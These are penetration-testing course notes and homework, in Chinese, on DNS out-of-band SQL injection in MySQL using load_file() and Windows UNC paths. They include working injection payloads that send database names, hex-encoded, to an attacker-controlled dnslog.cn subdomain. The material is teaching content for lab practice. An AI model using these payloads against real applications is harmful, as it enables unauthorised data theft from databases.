|
SQL 注入漏洞(五)
光速盲注(DNS注⼊)
必须有权限读取并且⽂件必须完全可读
2、欲读取⽂件必须在服务器上
3、必须指定⽂件完整的路径
4、欲读取⽂件必须⼩于 max_allowed_packet
show VARIABLES like ‘%max_allowed_packet%’; 查看当前允许读取⽂件的⼤⼩
my.ini 修改 max_allowed_packet=100M 修改可读取⽂件的⼤⼩
load_file():读取⽂件
利⽤前提条件
1. Web服务器必须是windows操作系统,因为UNC是windows特有的,只能针对WIN操作系统
2. mysql.ini中secure_file_priv必须为空
\\ ⽹络资源路径
load_file (本地资源路径)
load_file (⽹络路径) \\192.168.x.x\www\sqli\1\xxx \\test.com\www\xxx
前置知识
DNSlog即DNS⽇志记录的形式,适⽤于多种数据库,同时,适⽤于多种攻击
load_file()函数可以加载本地⽂件的同时,也能对\www.xxx.com\aa这样的URL发起请求(UNC)
读取⽂件并返回⽂件内容为字符串。
要使⽤此函数,⽂件必须位于服务器主机上,必须指定完整路径的⽂件,⽽且必须有FILE权限。该⽂件所有字节可
读,但⽂件内容必须⼩于max_allowed_packet(限制server接受的数据包⼤⼩函数,默认1MB)。 如果该⽂件不
存在或⽆法读取,因为前⾯的条件之⼀不满⾜,函数返回 NULL。
UNC是什么:
1-UNC是⼀种命名惯例,主要⽤于在Microsoft Windows上指定和映射⽹络驱动器.UNC命名惯例最多被应
⽤于在局域⽹中访问⽂件服务器或者打印机。我们⽇常常⽤的⽹络共享⽂件就是这个⽅式。
2-UNC 就是 '\\' 代表Microsoft Windows通⽤命名约定(UNC)**
3-那么使⽤,通⽤命名约定(UNC)的⽂件和⽬录路径格式,都会引发DNS地址解析
4-双斜杠表示⽹络资源路径多加两个\就是转义了反斜杠
\\ ⽹络资源路径
load_file (本地资源路径)
load_file (⽹络路径) \\192.168.x.x\www\sqli\1\xxx \\test.com\www\xxxUNC路径的格式:\server\sharename\directory\filename
select load_file(concat('//',(select database()),'.1806dl.dnslog.cn/abc'))
等同于SELECT LOAD_FILE('//库名.1806dl.dnslog.cn/abc')
去访问 库名.1806dl.dnslog.cn 的服务器下的共享⽂件夹abc。
然后1806dl.dnslog.cn的⼦域名的解析都是在某台服务器,然后他记录下来了有⼈请求访问了
error.1806dl.dnslog.cn,然后在DnsLog这个平台上⾯显示出来了
payload
注意:域名前⾯有个点 .
第⼀条
第⼀种写法:
' and if((select load_file(concat('//',(select database()),'.otebm5.dnslog.cn/abc'))),1,0) --+
第⼆种写法:
' and if((select load_file(concat('\\\\',(select database()),'.otebm5.dnslog.cn\\abc'))),1,0) --+
注释:语句当中的 otebm5.dnslog.cn 是通过dnslog获取到的⼆级域名
第⼆条(第⼀条⽆法使⽤的情况下使⽤)
第⼀种写法:
' and (select load_file(concat('//',(select database()),'.otebm5.dnslog.cn/abc'))) --+
第⼆种写法:
' and (select load_file(concat('\\\\',(select database()),'.otebm5.dnslog.cn\\abc'))) --+
注释:语句当中的 otebm5.dnslog.cn 是通过dnslog获取到的⼆级域名
第三条-推荐使⽤(⼗六进制写法)
如果查询内容有特殊字符,不符合域名要求,是⽆法正常构造正常的域名,所以没办法发出数据
⽐如:逗号,@符号等特殊符号
使⽤hex()函数将查询内容转换为16进制编码来输出
xxx.dns 域名
' and if((select load_file(concat('\\\\',(select hex(database())),'.otebm5.dnslog.cn\\abc'))),1,0) --+
WEB渗透测试工程师系统班250303期 第17节课作业
1. 实际操作课堂讲解的yakit sql注入靶场,截图? 2. 什么是UNC?
1-UNC是⼀种命名惯例,主要⽤于在Microsoft Windows上指定和映射⽹络驱动器.UNC命名惯例最多被应
⽤于在局域⽹中访问⽂件服务器或者打印机。我们⽇常常⽤的⽹络共享⽂件就是这个⽅式。
2-UNC 就是 '\\' 代表Microsoft Windows通⽤命名约定(UNC)**
3-那么使⽤,通⽤命名约定(UNC)的⽂件和⽬录路径格式,都会引发DNS地址解析
4-双斜杠表示⽹络资源路径多加两个\就是转义了反斜杠
3. dns注入的原理是什么?
利用数据库的`load_file`函数和UNC路径,通过DNS查询外带数据。 4. 带外查询的应用场景? 常规注入失效时 无回显情况:应用不反悔数据库错误或者查询结果 过滤严格
|